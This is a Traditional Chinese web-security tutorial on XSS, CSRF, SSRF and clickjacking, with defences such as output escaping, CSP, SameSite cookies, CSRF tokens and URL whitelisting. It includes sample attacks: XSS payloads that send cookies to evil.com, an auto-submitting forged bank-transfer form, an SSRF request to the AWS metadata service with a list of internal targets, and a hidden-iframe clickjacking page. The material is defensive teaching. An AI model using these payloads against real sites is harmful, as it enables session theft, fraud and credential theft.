Web 安全攻防實戰:XSS、CSRF、SSRF 與點擊劫持的防禦體系

前端工程

Web 安全威脅全景

威脅 影響面 嚴重度 防禦複雜度
XSS 資料竊取、會話劫持 高 中
CSRF 偽造操作、資金損失 高 低
SSRF 內網探測、服務攻擊 高 中
點擊劫持 誘導操作 中 低

一、XSS(跨站腳本攻擊)

三種 XSS 類型

類型 注入點 持久性 典型場景
儲存型 伺服器端儲存 持久 評論區、使用者暱稱
反射型 URL 參數 臨時 搜尋結果、錯誤提示
DOM 型 客戶端 JS 臨時 URL hash、document.write

儲存型 XSS 攻擊範例

<!-- 攻擊者在評論區注入 -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

<!-- 或更隱蔽的 img 標籤 -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

<!-- 或 SVG -->
<svg onload="fetch('https://evil.com/steal?c='+document.cookie)">

防禦一:輸出編碼

function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
  };
  return str.replace(/[&<>"']/g, (c) => map[c]);
}

// 使用
element.innerHTML = escapeHtml(userInput);

防禦二:CSP(Content Security Policy)

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'
指令 含義 範例
default-src 預設策略 'self'
script-src JS 來源 'self' 'nonce-abc123'
style-src CSS 來源 'self' 'unsafe-inline'
img-src 圖片來源 'self' data: https:
connect-src fetch/XHR 來源 'self' https://api.example.com
frame-ancestors 嵌入來源 'none' (防點擊劫持)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly 阻止 JS 透過 document.cookie 讀取,即使 XSS 成功也無法竊取會話。

防禦四:Trusted Types

// 啟用 Trusted Types API
if (window.trustedTypes) {
  trustedTypes.createPolicy('default', {
    createHTML: (input) => DOMPurify.sanitize(input),
  });
}

// 之後所有 innerHTML 賦值必須經過策略
element.innerHTML = userInput; // 如果沒有策略,拋出錯誤

二、CSRF(跨站請求偽造)

攻擊原理

<!-- 攻擊者網站上的隱藏表單 -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

使用者已登入銀行網站 → Cookie 自動攜帶 → 偽造請求成功。

Set-Cookie: session=abc; SameSite=Strict
值 跨站請求攜帶 適用場景
Strict 不攜帶 最安全,但從外部連結進入不帶 Cookie
Lax GET 請求攜帶 預設值,平衡安全與體驗
None 都攜帶 需配合 Secure,第三方場景

防禦二:CSRF Token

// 伺服器端生成 Token
app.use((req, res, next) => {
  req.csrfToken = crypto.randomBytes(32).toString('hex');
  res.locals.csrfToken = req.csrfToken;
  next();
});

// 表單中嵌入
// <input type="hidden" name="_csrf" value="${csrfToken}">

// 伺服器端驗證
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.csrfToken) {
    return res.status(403).send('CSRF token mismatch');
  }
  // 處理轉帳
});
// 前端:從 Cookie 讀取 CSRF Token,放入請求頭
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': getCookie('csrfToken'),
  },
  body: JSON.stringify(data),
});

防禦四:Origin/Referer 檢查

app.use((req, res, next) => {
  const origin = req.headers.origin || req.headers.referer;
  if (origin && !origin.startsWith('https://example.com')) {
    return res.status(403).send('Invalid origin');
  }
  next();
});

三、SSRF(伺服器端請求偽造)

攻擊範例

GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

169.254.169.254 是 AWS 元資料服務,攻擊者可獲取 IAM 憑證。

常見內網目標

位址 服務 可獲取資訊
169.254.169.254 AWS 元資料 IAM 憑證、執行個體資訊
100.100.100.200 阿里雲元資料 安全憑證
metadata.google.internal GCP 元資料 Service Account Token
127.0.0.1:6379 Redis 資料、設定
127.0.0.1:9200 Elasticsearch 資料、叢集資訊

防禦一:URL 白名單

const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];

function validateUrl(inputUrl) {
  const url = new URL(inputUrl);

  if (!ALLOWED_DOMAINS.includes(url.hostname)) {
    throw new Error('Domain not allowed');
  }
  if (url.protocol !== 'https:') {
    throw new Error('Only HTTPS allowed');
  }
  // 阻止特殊 IP
  if (/^(127\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|0\.|169\.254\.)/.test(url.hostname)) {
    throw new Error('Private IP not allowed');
  }

  return url;
}

防禦二:DNS 重綁定防護

// 先解析 DNS,再驗證 IP,再發起請求
async function safeFetch(inputUrl) {
  const url = new URL(inputUrl);
  const addresses = await dns.promises.resolve4(url.hostname);

  for (const ip of addresses) {
    if (isPrivateIP(ip)) throw new Error('Private IP resolved');
  }

  // 使用解析後的 IP 直接請求,避免 DNS 重綁定
  return fetch(`https://${addresses[0]}${url.pathname}`, {
    headers: { Host: url.hostname },
  });
}

四、點擊劫持(Clickjacking)

攻擊原理

<!-- 攻擊者網站 -->
<style>
  iframe {
    position: absolute;
    top: 100px;
    left: 200px;
    opacity: 0.01; /* 幾乎不可見 */
  }
  .decoy-button {
    position: absolute;
    top: 100px;
    left: 200px;
  }
</style>

<!-- 誘餌按鈕 -->
<button class="decoy-button">點擊領取優惠券</button>

<!-- 透明的目標網站 iframe -->
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"></iframe>

使用者以為點擊「領取優惠券」,實際點擊了銀行轉帳按鈕。

防禦一:X-Frame-Options

X-Frame-Options: DENY
值 含義
DENY 任何頁面都不能嵌入
SAMEORIGIN 僅同源頁面可嵌入

防禦二:CSP frame-ancestors

Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;

frame-ancestors 是 X-Frame-Options 的現代替代,支援白名單。

防禦三:JS 幀破壞

if (window.top !== window.self) {
  window.top.location = window.self.location;
}

五、縱深防禦體系

第1層:輸入驗證 —— 伺服器端校驗所有輸入
第2層:輸出編碼 —— 根據上下文轉義
第3層:CSP 策略 —— 限制資源載入
第4層:Cookie 安全 —— HttpOnly + SameSite + Secure
第5層:CSRF Token —— 驗證請求來源
第6層:Rate Limit —— 限制請求頻率
第7層:WAF —— Web 應用防火牆

安全回應標頭完整設定

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'; style-src 'self'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
#Web安全#XSS#CSRF#SSRF#点击劫持